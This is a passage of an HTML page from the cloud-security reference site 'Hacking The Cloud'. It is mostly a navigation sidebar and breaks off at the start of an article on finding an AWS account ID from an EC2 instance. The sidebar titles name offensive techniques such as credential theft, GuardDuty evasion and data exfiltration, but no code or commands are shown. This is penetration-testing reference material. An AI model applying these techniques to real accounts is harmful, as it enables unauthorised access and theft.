5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#get-caller-identity class=md-nav__link> <span class=md-ellipsis> get-caller-identity </span> </a> </li> <li class=md-nav__item> <a href=#metadata class=md-nav__link> <span class=md-ellipsis> Metadata </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#get-caller-identity class=md-nav__link> <span class=md-ellipsis> get-caller-identity </span> </a> </li> <li class=md-nav__item> <a href=#metadata class=md-nav__link> <span class=md-ellipsis> Metadata </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Phil Massyn</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/account_id_from_ec2.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Enumerate AWS Account ID from an EC2 Instance</h1> <p>With shell or command line access to an EC2 instance, you will be able to determine some key information about the AWS account.</p> <h2 id=get-caller-identity>get-caller-identity<a class=headerlink href=#get-caller-identity title="Permanent link">&para;</a></h2> 